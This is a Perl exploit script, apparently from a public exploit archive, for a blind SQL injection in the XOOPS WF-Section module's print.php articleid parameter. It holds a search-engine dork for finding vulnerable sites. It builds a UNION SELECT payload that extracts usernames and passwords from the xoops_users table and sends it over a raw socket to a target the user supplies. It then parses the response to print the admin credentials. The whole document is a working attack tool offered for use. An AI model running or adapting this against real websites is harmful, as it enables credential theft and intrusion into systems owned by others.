Xoops Module WF-Section <= 1.01 (articleid) SQL Injection Exploit

#!/usr/bin/perl #[Script Name: XOOPS Module WF-Section <= 1.01 (articleid) Remote BLIND SQL Injection Exploit #[Coded by   : ajann #[Author     : ajann #[Contact    : :( #[Dork       : "inurl:/modules/wfsection/" Result:808.000 #[Example S. : http://www.google.com.tr/search?q=inurl:/modules/wfsection/&hl=tr&start=90&sa=N #[S.Page     : http://xoops.org/ #[$$         : Free #[..         : ajann,Turkey use IO::Socket; if(@ARGV < 1){ print " [======================================================================== [//  XOOPS Module WF-Section <= 1.01 (articleid) Remote BLIND SQL Injection Exploit [//                   Usage: exploit.pl [target] [//                   Example: exploit.pl victim.com [//                   Example: exploit.pl victim.com [//                           Vuln&Exp : ajann [======================================================================== "; exit(); } #Local variables $kapan = "/*"; $server = $ARGV[0]; $server =~ s/(http://)//eg; $host = "http://".$server; $port = "80"; $file = "/modules/wfsection/print.php?articleid="; print "Script <DIR> : "; $dir = <STDIN>; chop ($dir); if ($dir =~ /exit/){ print "-- Exploit Failed[You Are Exited]  "; exit(); } if ($dir =~ ///){} else { print "-- Exploit Failed[No DIR]  "; exit();  } print "User ID (uid): "; $id = <STDIN>; chop ($id); $target = "9999999%20union%20select%201111,2222,3333,4444,concat(char(117,115,101,114,110,97,109,101,58),uname,char(112,97,115,115,119,111,114,100,58),pass),6666,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20xoops_users%20where%20uid%20like%20".$id.$kapan; $target = $host.$dir.$file.$target; #Writing data to socket print "+**********************************************************************+ "; print "+ Trying to connect: $server "; $socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die " + Connection failed... "; print $socket "GET $target HTTP/1.1 "; print $socket "Host: $server "; print $socket "Accept: */* "; print $socket "Connection: close "; print "+ Connected!... "; #Getting while($answer = <$socket>) { if ($answer =~ /username:(.*?)pass/){ print "+ Exploit succeed! Getting admin information. "; print "+ ---------------- + "; print "+ Username: $1 "; } if ($answer =~ /password:(.*?)<br />/){ print "+ Password: $1 "; } if ($answer =~ /Syntax error/) {  print "+ Exploit Failed : (  "; print "+**********************************************************************+ "; exit();  } if ($answer =~ /Internal Server Error/) { print "+ Exploit Failed : (   "; print "+**********************************************************************+ "; exit();  }  }